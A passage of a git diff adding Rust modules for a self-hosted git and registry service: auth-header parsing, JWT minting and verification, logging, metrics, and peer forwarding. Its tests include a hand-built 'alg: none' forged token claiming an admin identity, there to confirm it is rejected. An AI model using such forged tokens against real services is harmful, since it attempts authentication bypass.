std::env::var(k).unwrap_or_default(); + require_jwt_secret(var("RUSTIC_GIT_PEER_SVC").trim(), var("RUSTIC_GIT_JWT_SECRET").trim()) +} + +/// Lowercase hex, the encoding every digest, fingerprint and token id in this crate uses on the +/// wire. One definition so a future change (or a faster one) happens in one place. `pub` rather +/// than `pub(crate)` only because `main.rs` is a separate crate and mints the peer secret with it. +pub fn hex(bytes: &[u8]) -> String { + // One allocation of the exact size, not one `format!` String per byte: this runs over every + // digest on the registry's hot paths. + use std::fmt::Write; + let mut s = String::with_capacity(bytes.len() * 2); + for b in bytes { + let _ = write!(s, "{b:02x}"); + } + s +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn fleet_mode_refuses_a_missing_jwt_secret() { + assert!(require_jwt_secret("rustic-git-peer", "").is_err()); + // Solo mode has nobody to disagree with, so the per-process fallback stays. + assert!(require_jwt_secret("", "").is_ok()); + assert!(require_jwt_secret("rustic-git-peer", "s3cret").is_ok()); + } + + #[test] + fn hex_is_lowercase_and_two_chars_per_byte() { + assert_eq!(hex(&[0x00, 0x0a, 0xff]), "000aff"); + assert_eq!(hex(&[]), ""); + } +} diff --git a/crates/core/src/httpx.rs b/crates/core/src/httpx.rs new file mode 100644 index 00000000..bd188fa2 --- /dev/null +++ b/crates/core/src/httpx.rs @@ -0,0 +1,116 @@ +/// Identity established by a *peer*. `None` on the public listener, always. +#[derive(Clone)] +pub struct Trusted(pub Option); + +/// The credential inside an Authorization header of the named scheme, or `None` for another +/// scheme. Matched case-insensitively: RFC 7235 says `basic` and `Basic` are the same scheme, +/// and some proxies lowercase it. +/// +/// A small duplicate of `rustic_git_storage::auth::scheme` (and `user_names` below of +/// `rustic_git_storage::auth::user_names`): that copy stays pure and `axum`-free for `storage`'s +/// own callers, while the header-parsing helpers here need `axum::http::HeaderMap` and are shared +/// by both the `api` and `registry` crates, neither of which may depend on the other. +pub fn scheme<'a>(v: &'a str, name: &str) -> Option<&'a str> { + let (head, rest) = v.split_at_checked(name.len())?; + (head.eq_ignore_ascii_case(name) && rest.starts_with(' ')).then(|| rest.trim_start()) +} + +fn user_names(user: &str, owner: &str, git_placeholder: bool) -> bool { + user == owner || (git_placeholder && user == GIT_PLACEHOLDER) +} + +/// git's placeholder username, the shape every token-based git URL uses: `https://x:@host`. +/// The token IS the identity there and git has no other way to send one, so the username carries +/// no information and must not be held against the caller. +const GIT_PLACEHOLDER: &str = "x"; + +/// The token from a `Bearer` Authorization header. +pub fn bearer_token(headers: &axum::http::HeaderMap) -> Option<&str> { + scheme(headers.get(axum::http::header::AUTHORIZATION)?.to_str().ok()?, "Bearer") +} + +/// Both halves of a `Basic` Authorization header. +pub fn basic_creds(headers: &axum::http::HeaderMap) -> Option<(String, String)> { + use base64::Engine; + let v = headers.get(axum::http::header::AUTHORIZATION)?.to_str().ok()?; + let d = base64::engine::general_purpose::STANDARD.decode(scheme(v, "Basic")?).ok()?; + let s = String::from_utf8(d).ok()?; + s.split_once(':').map(|(u, p)| (u.to_string(), p.to_string())) +} + +/// A `Basic` header is present but does not decode (bad base64, non-UTF-8, no colon). Distinct +/// from "no header" so a caller can refuse it: `basic_creds` answers `None` to both, and a +/// browse path that took that `None` as anonymous let a mangled credential through to a public +/// listing where the registry, for the same header, challenges. Anonymous ≠ invalid credential. +pub fn basic_malformed(headers: &axum::http::HeaderMap) -> bool { + let present = headers + .get(axum::http::header::AUTHORIZATION) + .and_then(|v| v.to_str().ok()) + .is_some_and(|v| scheme(v, "Basic").is_some()); + present && basic_creds(headers).is_none() +} + +/// The token inside a `Basic` Authorization header — git's own shape, `x:`, which is what +/// `git clone` over HTTP and `docker login` both send. `None` for no header, another scheme, or +/// anything that does not decode. The one decoder for three callers (git HTTP, the api tier, the +/// registry) — they had drifted into three copies. +pub fn basic_token(headers: &axum::http::HeaderMap) -> Option { + basic_creds(headers).map(|(_, p)| p) +} + +/// Does the `Basic` username name `owner` — the owner its token actually resolved to? A +/// credential whose halves disagree did not verify: a leaked token must not work under any name, +/// and the caller must be refused rather than quietly downgraded to anonymous. +/// +/// `true` when no Basic header was sent at all (the credential came as Bearer, which carries no +/// username, and the caller has already decided that is acceptable). `git_placeholder` admits +/// `x`, which every git client sends; the registry passes `false`, because `docker login` always +/// has a real username to send. +pub fn basic_user_names(headers: &axum::http::HeaderMap, owner: &str, git_placeholder: bool) -> bool { + basic_creds(headers).is_none_or(|(u, _)| user_names(&u, owner, git_placeholder)) +} + +/// 401 with the Basic challenge git understands. Shared by the git listener and the api tier — +/// two byte-identical copies are one more place for the realm to drift. +pub fn unauthorized() -> axum::response::Response { + use axum::response::IntoResponse; + ( + axum::http::StatusCode::UNAUTHORIZED, + [(axum::http::header::WWW_AUTHENTICATE, "Basic realm=\"rustic-git\"")], + "auth required", + ) + .into_response() +} + +/// Cap on a single request body (compressed bytes on the wire). Axum enforces this in the +/// extractor, BEFORE the handler runs, so an unauthenticated client cannot make the server +/// buffer more than this; the git handlers apply it by hand AFTER authenticating, so that client +/// cannot make them buffer anything at all. Override with RUSTIC_GIT_MAX_BODY (bytes). +pub fn max_body() -> usize { + std::env::var("RUSTIC_GIT_MAX_BODY") + .ok() + .and_then(|v| v.parse().ok()) + .unwrap_or(2 * 1024 * 1024 * 1024) // 2 GiB +} + +#[cfg(test)] +mod tests { + use super::*; + use axum::http::{header::AUTHORIZATION, HeaderMap, HeaderValue}; + + fn with(v: &str) -> HeaderMap { + let mut h = HeaderMap::new(); + h.insert(AUTHORIZATION, HeaderValue::from_str(v).unwrap()); + h + } + + #[test] + fn a_basic_header_that_does_not_decode_is_malformed_not_absent() { + assert!(!basic_malformed(&HeaderMap::new())); + assert!(!basic_malformed(&with("Bearer abc"))); + assert!(!basic_malformed(&with("Basic eDp0b2tlbg==")), "x:token decodes"); + assert!(basic_malformed(&with("Basic !!!not-base64"))); + assert!(basic_malformed(&with("Basic bm9jb2xvbg==")), "`nocolon` has no ':'"); + assert!(basic_malformed(&with("Basic /w==")), "0xff is not UTF-8"); + } +} diff --git a/crates/core/src/jwt.rs b/crates/core/src/jwt.rs new file mode 100644 index 00000000..b54645c2 --- /dev/null +++ b/crates/core/src/jwt.rs @@ -0,0 +1,351 @@ +//! Identity tokens. +//! +//! The api server mints these; every other service only verifies them. That is +//! the point of using a signed token rather than a header: a caller asserting +//! `x-rustic-git-owner: alice` is only as trustworthy as the caller, so every +//! service that reads it has to hold the peer secret and be trusted not to lie. +//! A signature moves the trust to the key — a service can verify who the user is +//! without being able to mint a different answer. + +use crate::{err, Result}; +use jsonwebtoken::{decode, encode, Algorithm, DecodingKey, EncodingKey, Header, Validation}; +use serde::{Deserialize, Serialize}; +use std::time::{SystemTime, UNIX_EPOCH}; + +/// Twelve hours. Long enough that a working day rarely needs a re-issue, short +/// enough that a leaked token is not a permanent credential. There is no +/// revocation list: shortening the life is the whole mitigation, so this cannot +/// grow without adding one. +pub const TTL_SECS: u64 = 12 * 60 * 60; + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct Claims { + /// The user's email — the same identity the directory keys on. + pub sub: String, + pub name: String, + /// The handle they picked, when they have one. Carried so a caller can build + /// `/{username}/...` without a round trip; absent means they have not chosen + /// yet, and the web app must send them to pick one. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub username: Option, + /// `"session"`. Explicit, so a registry token (`typ: "registry"`) or anything else we sign + /// is refused by rule rather than by the accident of lacking `name`. + #[serde(default)] + pub typ: String, + pub iat: u64, + pub exp: u64, +} + +/// A gateway-bound SSH session: long enough to complete a handshake, short enough that +/// leaking it in a log line is not a standing credential. +pub const SSH_SESSION_TTL_SECS: u64 = 60; + +/// A CLI login: long-lived because re-authenticating a dev tool every 12 hours is +/// friction, and it carries a `jti` so it can be revoked without shortening the TTL. +pub const CLI_TTL_SECS: u64 = 30 * 24 * 60 * 60; + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct SshSessionClaims { + pub sub: String, + pub ws: String, + pub region: String, + pub jti: String, + pub iat: u64, + pub exp: u64, + pub typ: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +pub struct CliClaims { + pub sub: String, + pub name: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub username: Option, + pub jti: String, + pub iat: u64, + pub exp: u64, + pub typ: String, +} + +/// 16 random bytes as lowercase hex — big enough that a guess is not a revocation +/// bypass, small enough to sit comfortably in a token or a revocation-list key. +fn new_jti() -> String { + rand::random::<[u8; 16]>().iter().map(|b| format!("{b:02x}")).collect() +} + +fn now() -> Result { + Ok(SystemTime::now() + .duration_since(UNIX_EPOCH) + .map_err(|_| err("clock before epoch"))? + .as_secs()) +} + +pub struct Jwt { + encoding: EncodingKey, + decoding: DecodingKey, +} + +impl Jwt { + pub fn new(secret: &str) -> Result { + // A short secret is a weak signature, and HS256 gives no warning about it. + if secret.len() < 32 { + return Err(err("jwt secret must be at least 32 bytes")); + } + Ok(Jwt { + encoding: EncodingKey::from_secret(secret.as_bytes()), + decoding: DecodingKey::from_secret(secret.as_bytes()), + }) + } + + pub fn mint(&self, email: &str, name: &str, username: Option<&str>) -> Result { + let now = now()?; + let claims = Claims { + sub: email.trim().to_lowercase(), + name: name.to_string(), + username: username.map(str::to_string), + typ: "session".into(), + iat: now, + exp: now + TTL_SECS, + }; + encode(&Header::new(Algorithm::HS256), &claims, &self.encoding) + .map_err(|e| err(format!("minting token: {e}"))) + } + + /// `Err` for a bad signature, a wrong algorithm, or an expired token — the + /// caller cannot tell which, and should not: each one means "not signed in". + pub fn verify(&self, token: &str) -> Result { + // Explicitly HS256: leaving the algorithm open is how `alg: none` and + // key-confusion attacks get in. + let mut v = Validation::new(Algorithm::HS256); + v.validate_exp = true; + let c = decode::(token, &self.decoding, &v) + .map(|d| d.claims) + .map_err(|e| err(format!("invalid token: {e}")))?; + if c.typ != "session" { + return Err(err("invalid token: not a session")); + } + Ok(c) + } + + /// A registry bearer token: it names the owner it authenticates and nothing else. + /// + /// Scope is recorded but NOT enforced from the token — authorization is re-checked per + /// request against the image, so a token that over-claims grants nothing extra. Recording it + /// keeps the response honest to clients that read it back. + pub fn mint_registry(&self, owner: &str, scope: &str, ttl_secs: u64) -> Result { + let now = now()?; + let claims = serde_json::json!({ + "sub": owner, + "scope": scope, + "iat": now, + "exp": now + ttl_secs, + "typ": "registry", + }); + encode(&Header::new(Algorithm::HS256), &claims, &self.encoding) + .map_err(|e| err(format!("minting registry token: {e}"))) + } + + /// `Some(owner)` when the token is ours, unexpired, and of the registry type. + pub fn verify_registry(&self, token: &str) -> Option { + let mut v = Validation::new(Algorithm::HS256); + v.set_required_spec_claims(&["exp", "sub"]); + let data = decode::(token, &self.decoding, &v).ok()?; + if data.claims["typ"] != "registry" { + return None; + } + data.claims["sub"].as_str().map(str::to_string) + } + + /// Decode into a `serde_json::Value` first to read `typ` cheaply, refusing anything + /// signed for a different purpose before paying for the concrete deserialize. + fn verify_typed Deserialize<'de>>(&self, token: &str, typ: &str) -> Result { + let mut v = Validation::new(Algorithm::HS256); + v.validate_exp = true; + let data = decode::(token, &self.decoding, &v) + .map_err(|e| err(format!("invalid token: {e}")))? + .claims; + if data["typ"] != typ { + return Err(err(format!("invalid token: not a {typ}"))); + } + serde_json::from_value(data).map_err(|e| err(format!("invalid token: {e}"))) + } + + /// A 60 s token bound to one workspace, minted for a gateway to hand the SSH server — + /// not a login, so `verify` must refuse it. + pub fn mint_ssh_session(&self, owner: &str, ws: &str, region: &str) -> Result<(String, SshSessionClaims)> { + let now = now()?; + let claims = SshSessionClaims { + sub: owner.to_string(), + ws: ws.to_string(), + region: region.to_string(), + jti: new_jti(), + iat: now, + exp: now + SSH_SESSION_TTL_SECS, + typ: "ssh-session".into(), + }; + let tok = encode(&Header::new(Algorithm::HS256), &claims, &self.encoding) + .map_err(|e| err(format!("minting ssh session token: {e}")))?; + Ok((tok, claims)) + } + + pub fn verify_ssh_session(&self, token: &str) -> Result { + self.verify_typed(token, "ssh-session") + } + + /// A revocable, month-long login for the CLI — a `jti` lets it be revoked without + /// shortening the TTL for everyone. + pub fn mint_cli(&self, email: &str, name: &str, username: Option<&str>) -> Result<(String, CliClaims)> { + let now = now()?; + let claims = CliClaims { + sub: email.trim().to_lowercase(), + name: name.to_string(), + username: username.map(str::to_string), + jti: new_jti(), + iat: now, + exp: now + CLI_TTL_SECS, + typ: "cli".into(), + }; + let tok = encode(&Header::new(Algorithm::HS256), &claims, &self.encoding) + .map_err(|e| err(format!("minting cli token: {e}")))?; + Ok((tok, claims)) + } + + /// Accepts either a session or a CLI login, since both authenticate a human user — + /// only a CLI token carries a `jti` to report back for revocation checks. + pub fn verify_any_user(&self, token: &str) -> Result<(Claims, Option)> { + if let Ok(c) = self.verify(token) { + return Ok((c, None)); + } + let c: CliClaims = self.verify_typed(token, "cli")?; + Ok(( + Claims { + sub: c.sub, + name: c.name, + username: c.username, + typ: c.typ, + iat: c.iat, + exp: c.exp, + }, + Some(c.jti), + )) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn jwt() -> Jwt { + Jwt::new("0123456789012345678901234567890123456789").unwrap() + } + + #[test] + fn round_trips_and_normalises_the_subject() { + let t = jwt().mint("Karthik@Kloudlite.io", "Karthik", Some("karthik")).unwrap(); + let c = jwt().verify(&t).unwrap(); + assert_eq!(c.sub, "karthik@kloudlite.io"); + assert_eq!(c.name, "Karthik"); + assert_eq!(c.username.as_deref(), Some("karthik")); + } + + #[test] + fn a_short_secret_is_refused() { + assert!(Jwt::new("too-short").is_err()); + } + + #[test] + fn another_key_cannot_verify() { + let t = jwt().mint("a@b.com", "A", None).unwrap(); + let other = Jwt::new("abcdefghijabcdefghijabcdefghijabcdefghij").unwrap(); + assert!(other.verify(&t).is_err()); + } + + #[test] + fn an_expired_token_is_refused() { + // Mint by hand so the expiry is in the past. + let past = Claims { + sub: "a@b.com".into(), + name: "A".into(), + username: None, + typ: "session".into(), + iat: 0, + exp: 1, + }; + let raw = encode( + &Header::new(Algorithm::HS256), + &past, + &EncodingKey::from_secret("0123456789012345678901234567890123456789".as_bytes()), + ) + .unwrap(); + assert!(jwt().verify(&raw).is_err()); + } + + /// A token minted before the user picked a handle must still verify. + #[test] + fn a_token_without_a_username_round_trips() { + let t = jwt().mint("a@b.com", "A", None).unwrap(); + assert_eq!(jwt().verify(&t).unwrap().username, None); + } + + /// A token of ours that is not a SESSION must not open one: today the registry kind is + /// refused only because it happens to lack `name`, which is an accident, not a rule. + #[test] + fn a_token_without_the_session_type_is_refused() { + let raw = encode( + &Header::new(Algorithm::HS256), + &serde_json::json!({"sub": "a@b.com", "name": "A", "iat": 0, "exp": 99999999999u64}), + &EncodingKey::from_secret("0123456789012345678901234567890123456789".as_bytes()), + ) + .unwrap(); + assert!(jwt().verify(&raw).is_err(), "no typ"); + let reg = jwt().mint_registry("alice", "repository:alice/web:pull", 60).unwrap(); + assert!(jwt().verify(®).is_err(), "registry typ"); + let t = jwt().mint("a@b.com", "A", None).unwrap(); + assert_eq!(jwt().verify(&t).unwrap().typ, "session"); + // ...and the other direction: a session must not authenticate a registry pull either. + assert_eq!(jwt().verify_registry(&t), None); + } + + #[test] + fn an_unsigned_token_is_refused() { + // alg: none, the classic forgery. + let forged = format!( + "{}.{}.", + base64_url(br#"{"alg":"none","typ":"JWT"}"#), + base64_url(br#"{"sub":"admin@x.com","name":"A","iat":0,"exp":99999999999}"#) + ); + assert!(jwt().verify(&forged).is_err()); + } + + fn base64_url(b: &[u8]) -> String { + use base64::Engine; + base64::engine::general_purpose::URL_SAFE_NO_PAD.encode(b) + } + + #[test] + fn an_ssh_session_is_sixty_seconds_single_purpose_and_bound_to_one_workspace() { + let j = Jwt::new("0123456789abcdef0123456789abcdef").unwrap(); + let (tok, c) = j.mint_ssh_session("karthik1729", "ws-1", "centralindia-k3s").unwrap(); + assert_eq!(c.exp - c.iat, SSH_SESSION_TTL_SECS); + assert_eq!(c.typ, "ssh-session"); + let back = j.verify_ssh_session(&tok).unwrap(); + assert_eq!((back.sub.as_str(), back.ws.as_str(), back.region.as_str()), ("karthik1729", "ws-1", "centralindia-k3s")); + assert_eq!(back.jti.len(), 32); + assert!(j.verify(&tok).is_err(), "a session token is not a login"); + let login = j.mint("a@b.c", "A", Some("a")).unwrap(); + assert!(j.verify_ssh_session(&login).is_err(), "a login is not a session token"); + } + + #[test] + fn a_cli_token_is_a_user_token_with_an_id_and_a_month() { + let j = Jwt::new("0123456789abcdef0123456789abcdef").unwrap(); + let (tok, c) = j.mint_cli("a@b.c", "A", Some("a")).unwrap(); + assert_eq!(c.exp - c.iat, CLI_TTL_SECS); + let (claims, jti) = j.verify_any_user(&tok).unwrap(); + assert_eq!(claims.username.as_deref(), Some("a")); + assert_eq!(jti.as_deref(), Some(c.jti.as_str())); + let (claims2, jti2) = j.verify_any_user(&j.mint("a@b.c", "A", Some("a")).unwrap()).unwrap(); + assert_eq!(claims2.typ, "session"); + assert!(jti2.is_none()); + } +} diff --git a/crates/core/src/lib.rs b/crates/core/src/lib.rs new file mode 100644 index 00000000..249839dc --- /dev/null +++ b/crates/core/src/lib.rs @@ -0,0 +1,9 @@ +#![allow(clippy::result_large_err)] +pub mod err; +pub mod httpx; +pub mod jwt; +pub mod log; +pub mod metrics; +pub mod peer; +pub mod pktline; +pub use err::{err, hex, require_jwt_secret, require_jwt_secret_from_env, Error, Result}; diff --git a/crates/core/src/log.rs b/crates/core/src/log.rs new file mode 100644 index 00000000..674306f0 --- /dev/null +++ b/crates/core/src/log.rs @@ -0,0 +1,95 @@ +//! One logging init, shared by all the binaries. +//! +//! It lives here for the same reason `install_crypto_provider` lives in the storage +//! bootstrap: a binary that forgets it does not fail, it goes SILENT. `tracing` with no +//! subscriber installed drops every event on the floor, so the symptom is an empty log +//! stream on a pod that looks healthy — the hardest failure to attribute back to a +//! missing line in `main`. Call `init()` as the first statement of every `main`. +//! +//! Output goes to stderr: in a container stdout is frequently a protocol stream (the git +//! wire protocol on the ssh path, `docker compose` output on the agent), and interleaving +//! log lines into it corrupts the payload. +//! +//! `RUSTIC_GIT_LOG_FORMAT=json` switches every binary to one JSON object per line, so a log +//! pipeline can index `level`, `target`, `fields.repo` and friends instead of grepping text. +//! The default stays the human-readable form: a developer's terminal is the other consumer. + +use tracing::Subscriber; +use tracing_subscriber::fmt::MakeWriter; +use tracing_subscriber::{fmt, EnvFilter}; + +const DEFAULT_FILTER: &str = "warn,rustic_git=info,rustic_git_core=info,rustic_git_storage=info,rustic_git_gitbase=info,rustic_git_pulls=info,rustic_git_app=info,rustic_git_git=info,rustic_git_registry=info,rustic_git_api=info,rustic_git_workspaces=info,rustic_git_server=info,rustic_git_worker=info,rustic_git_agent=info"; + +/// Install the process-wide subscriber. Reads `RUST_LOG`; defaults to `info` for our own +/// crates and `warn` for everything else, because the dependency graph (hyper, russh, +/// slatedb, aws-sdk) is chatty enough at `info` to bury our own lifecycle lines. +/// +/// A second call is a no-op, not a panic — same contract as `install_crypto_provider`, +/// so a test or an embedded second entry point can call it freely. +pub fn init() { + let json = std::env::var("RUSTIC_GIT_LOG_FORMAT").is_ok_and(|v| v.eq_ignore_ascii_case("json")); + // `try_set_global_default` rather than `init`: the second caller gets an Err, not a panic. + let _ = tracing::subscriber::set_global_default(subscriber(json, std::io::stderr)); +} + +/// The subscriber `init` installs, built over any writer so a test can capture what it emits +/// without touching the process-wide default. +pub fn subscriber(json: bool, w: W) -> Box +where + W: for<'a> MakeWriter<'a> + Send + Sync + 'static, +{ + let filter = EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new(DEFAULT_FILTER)); + let b = fmt().with_writer(w).with_env_filter(filter); + if json { + // `flatten_event`: `message` and the call-site fields land at the top level next to + // `level`/`target`, which is what a pipeline query like `fields.repo == x` wants. + Box::new(b.json().flatten_event(true).finish()) + } else { + Box::new(b.finish()) + } +} + +#[cfg(test)] +mod tests { + use std::sync::{Arc, Mutex}; + + #[test] + fn init_is_idempotent() { + super::init(); + super::init(); + tracing::info!("subscriber installed"); + } + + #[derive(Clone, Default)] + struct Buf(Arc>>); + impl std::io::Write for Buf { + fn write(&mut self, b: &[u8]) -> std::io::Result { + self.0.lock().unwrap().extend_from_slice(b); + Ok(b.len()) + } + fn flush(&mut self) -> std::io::Result<()> { + Ok(()) + } + } + impl<'a> tracing_subscriber::fmt::MakeWriter<'a> for Buf { + type Writer = Buf; + fn make_writer(&'a self) -> Buf { + self.clone() + } + } + + #[test] + fn json_lines_parse_with_the_indexed_fields() { + let buf = Buf::default(); + tracing::subscriber::with_default(super::subscriber(true, buf.clone()), || { + tracing::warn!(repo = "alice/x", "lease lost"); + }); + let out = String::from_utf8(buf.0.lock().unwrap().clone()).unwrap(); + let line = out.lines().next().expect("one line"); + let v: serde_json::Value = serde_json::from_str(line).expect("parseable json"); + assert_eq!(v["level"], "WARN"); + assert_eq!(v["target"], "rustic_git_core::log::tests"); + assert_eq!(v["message"], "lease lost"); + assert_eq!(v["repo"], "alice/x"); + } +} diff --git a/crates/core/src/metrics.rs b/crates/core/src/metrics.rs new file mode 100644 index 00000000..b66642ab --- /dev/null +++ b/crates/core/src/metrics.rs @@ -0,0 +1,132 @@ +//! One Prometheus recorder, shared by all the binaries — same reason `log::init` is shared: the +//! `metrics` macros are silent without a recorder, and six `main`s drifting apart is how one of +//! them ends up exporting nothing while its dashboards stay green. +//! +//! Exposure is deliberately NOT on any public listener. The server mounts `routes()` on its peer +//! router (the peer port never leaves the cluster network policy); every other binary serves a +//! dedicated listener via `serve_if_configured` on `RUSTIC_GIT_METRICS_ADDR`, unset in dev. +//! Metric text lists every repository key a node has touched — that is an enumeration oracle. + +use axum::{extract::Request, middleware::Next, response::Response, routing::get, Router}; +use metrics_exporter_prometheus::{Matcher, PrometheusBuilder, PrometheusHandle}; +use std::sync::OnceLock; +use std::time::Instant; + +static HANDLE: OnceLock = OnceLock::new(); + +/// Install the process-wide recorder. Idempotent, like `log::init`; call it right after. +pub fn init() { + HANDLE.get_or_init(|| { + PrometheusBuilder::new() + // Durations are histograms, not the exporter's default summaries: a summary cannot + // be aggregated across pods, and every alert in `deploy/alerts.md` is fleet-wide. + .set_buckets_for_metric( + Matcher::Suffix("_seconds".into()), + &[0.005, 0.01, 0.025, 0.05, 0.1, 0.25, 0.5, 1.0, 2.5, 5.0, 10.0, 30.0, 60.0, 300.0], + ) + .expect("non-empty bucket list") + .install_recorder() + .expect("first recorder in this process") + }); +} + +/// The current scrape text. Empty (not a panic) before `init`, so a test that never installed +/// the recorder still gets a well-formed reply. +pub fn render() -> String { + HANDLE.get().map(PrometheusHandle::render).unwrap_or_default() +} + +/// `GET /metrics`, to merge into an internal router. +pub fn routes() -> Router { + Router::new().route("/metrics", get(|| async { render() })) +} + +/// A whole listener for the binaries that have no internal one (worker, agent, gateway, api). +/// Returns immediately when `RUSTIC_GIT_METRICS_ADDR` is unset; a bind failure is fatal +/// because a pod annotated for scraping that silently serves nothing is the failure mode this +/// module exists to prevent. +pub async fn serve_if_configured() { + let Ok(addr) = std::env::var("RUSTIC_GIT_METRICS_ADDR") else { return }; + let l = tokio::net::TcpListener::bind(&addr) + .await + .unwrap_or_else(|e| panic!("binding RUSTIC_GIT_METRICS_ADDR={addr}: {e}")); + tracing::info!(%addr, "metrics listening"); + let app = routes().route("/healthz", get(|| async { "ok" })); + tokio::spawn(async move { + if let Err(e) = axum::serve(l, app).await { + tracing::error!(error = %e, "metrics listener"); + } + }); +} + +/// Per-request count and latency, labelled by listener, route class and status. Mount it +/// OUTERMOST so it sees the status every inner layer (auth, routing) settles on. +/// `axum::middleware::from_fn_with_state("peer", http_metrics)`. +pub async fn http_metrics( + axum::extract::State(listener): axum::extract::State<&'static str>, + req: Request, + next: Next, +) -> Response { + let class = route_class(req.uri().path()); + let start = Instant::now(); + let res = next.run(req).await; + let labels = [ + ("listener", listener), + ("class", class), + ("status", status_class(res.status().as_u16())), + ]; + metrics::counter!("http_requests_total", &labels).increment(1); + metrics::histogram!("http_request_duration_seconds", "listener" => listener, "class" => class) + .record(start.elapsed().as_secs_f64()); + res +} + +/// A bounded label set: the path itself would be one series per repository. +fn route_class(path: &str) -> &'static str { + if path.ends_with("/git-upload-pack") || path.ends_with("/git-receive-pack") || path.ends_with("/info/refs") { + "git" + } else if path.starts_with("/v2/") { + "registry" + } else if path.starts_with("/api/") { + "browse" + } else if path.starts_with("/v1/") { + "v1" + } else if path.starts_with("/own/") { + "own" + } else if path.starts_with("/vol-agent/") { + "vol-agent" + } else if path.starts_with("/tunnel/") { + "tunnel" + } else if path == "/healthz" || path == "/metrics" { + "probe" + } else { + "other" + } +} + +/// The exact code stays in the logs; `413` and `421` get their own class because each is a +/// named incident in this repo (the body cap and a follower asked to write the map). +fn status_class(code: u16) -> &'static str { + match code { + 413 => "413", + 421 => "421", + 200..=299 => "2xx", + 300..=399 => "3xx", + 400..=499 => "4xx", + _ => "5xx", + } +} + +#[cfg(test)] +mod tests { + #[test] + fn classes_are_bounded_and_named() { + assert_eq!(super::route_class("/alice/repo/git-receive-pack"), "git"); + assert_eq!(super::route_class("/v2/alice/img/blobs/sha256:00"), "registry"); + assert_eq!(super::route_class("/api/alice/repo/tree"), "browse"); + assert_eq!(super::route_class("/own/claim"), "own"); + assert_eq!(super::route_class("/whatever"), "other"); + assert_eq!(super::status_class(421), "421"); + assert_eq!(super::status_class(502), "5xx"); + } +} diff --git a/src/proxy.rs b/crates/core/src/peer.rs similarity index 55% rename from src/proxy.rs rename to crates/core/src/peer.rs index 85f2ed0a..f39eab39 100644 --- a/src/proxy.rs +++ b/crates/core/src/peer.rs @@ -1,8 +1,4 @@ -//! Forwarding a request to the node the ownership map names as the owner. -//! -//! Two forwarding shapes, because the two client protocols are not the same shape. An HTTP request -//! is one request and one response, so it is reverse-proxied. An SSH session is a stream carrying -//! an advertisement and then repeated commands, so it is piped (see `stream`). +//! The client half of forwarding a request to the node the ownership map names as the owner. use crate::Result; use std::time::Duration; @@ -19,6 +15,17 @@ pub const PEER_HEADER: &str = "x-rustic-git-peer"; /// in one round trip — so two hops is already slack. Past this, refuse rather than bounce. pub const MAX_HOPS: u32 = 2; +/// Constant-time peer-secret compare, shared by every site that checks one (api.rs `caller`, +/// http.rs `trust_peer`, the stream check below). A byte-by-byte `!=` on a shared secret leaks +/// its prefix through early-exit timing; an empty secret must never authenticate anyone, even +/// against an empty presented value, so both sides are guarded here rather than at each call site. +pub fn secret_eq(presented: &str, expected: &str) -> bool { + if presented.is_empty() || expected.is_empty() || presented.len() != expected.len() { + return false; + } + presented.bytes().zip(expected.bytes()).fold(0u8, |acc, (a, b)| acc | (a ^ b)) == 0 +} + /// Connecting to a peer inside the cluster is a microsecond round trip; a second is three orders /// of magnitude of headroom, and a peer that has not accepted by then is not there. const CONNECT_TIMEOUT: Duration = Duration::from_secs(1); @@ -28,9 +35,12 @@ pub const LEADER_TIMEOUT: Duration = Duration::from_secs(5); /// Whether this failure was "could not reach the peer at all", as opposed to anything the client's /// own behaviour could produce. Only the former may trigger a re-route. +/// +/// `crate::Error` is `Box`; `forward`'s `?` boxes the `reqwest::Error` without erasing +/// its concrete type, so downcasting recovers it. Using `reqwest::Error::is_connect()` instead of +/// matching on the message text means this keeps working across reqwest versions that reword it. pub fn is_connect_error(e: &crate::Error) -> bool { - let s = e.to_string(); - s.contains("error sending request") || s.contains("Connection refused") || s.contains("dns error") + e.downcast_ref::().is_some_and(|e| e.is_connect()) } /// A claim rides out a leader restart: attempts x backoff must exceed how long the leader is away /// during a roll (~35s measured), while staying under a git client's patience. @@ -55,8 +65,35 @@ const HOP_BY_HOP: &[&str] = &[ ]; pub struct Forwarder { - pub(crate) client: reqwest::Client, - pub(crate) secret: String, + pub client: reqwest::Client, + pub secret: String, +} + +#[cfg(test)] +mod is_connect_error_tests { + use super::is_connect_error; + + /// A real connect failure (nothing listening on this port) must classify as recoverable. + #[tokio::test] + async fn connect_failure_is_recoverable() { + let client = reqwest::Client::builder() + .connect_timeout(std::time::Duration::from_millis(200)) + .build() + .unwrap(); + // Port 0 is never a listener; the OS refuses the connect immediately. + let err = client.get("http://127.0.0.1:0/").send().await.unwrap_err(); + let boxed: crate::Error = Box::new(err); + assert!(is_connect_error(&boxed)); + } + + /// An error that is not even a `reqwest::Error` must not be misclassified as a connect + /// failure — the old string-match on "error sending request" could accidentally hit unrelated + /// text; the downcast cannot. + #[test] + fn non_reqwest_error_is_not_connect_error() { + let boxed: crate::Error = crate::err("connection refused, sort of"); + assert!(!is_connect_error(&boxed)); + } } impl Forwarder { @@ -82,6 +119,9 @@ impl Forwarder { use axum::body::{Body, HttpBody}; let (parts, body) = req.into_parts(); let path = parts.uri.path_and_query().map(|p| p.as_str()).unwrap_or("/"); + // A HEAD reply carries the length of the entity it describes and no body to frame, so the + // hop-by-hop rule below must not apply to it on the way back — see the response loop. + let head = parts.method == axum::http::Method::HEAD; // A body of known length is re-framed with its own Content-Length rather than left to // fall back to chunked: the length is exact here (it did not change hop to hop), and // avoiding chunked keeps a small request looking like a small request on the wire. @@ -107,7 +147,12 @@ impl Forwarder { let mut out = axum::response::Response::builder().status(upstream.status()); for (k, v) in upstream.headers() { - if !HOP_BY_HOP.contains(&k.as_str()) { + // `content-length` is hop-by-hop going out because each hop frames its own body. Coming + // back that only holds when there IS a body to re-frame: a HEAD has none, so dropping + // the header does not defer to our framing, it destroys the single number the client + // asked for. Clients then fall back to a full GET on every manifest probe. + let keep = head && k == axum::http::header::CONTENT_LENGTH; + if keep || !HOP_BY_HOP.contains(&k.as_str()) { out = out.header(k, v); } } @@ -115,151 +160,6 @@ impl Forwarder { } } - -// ---- The stream side: forwarded SSH 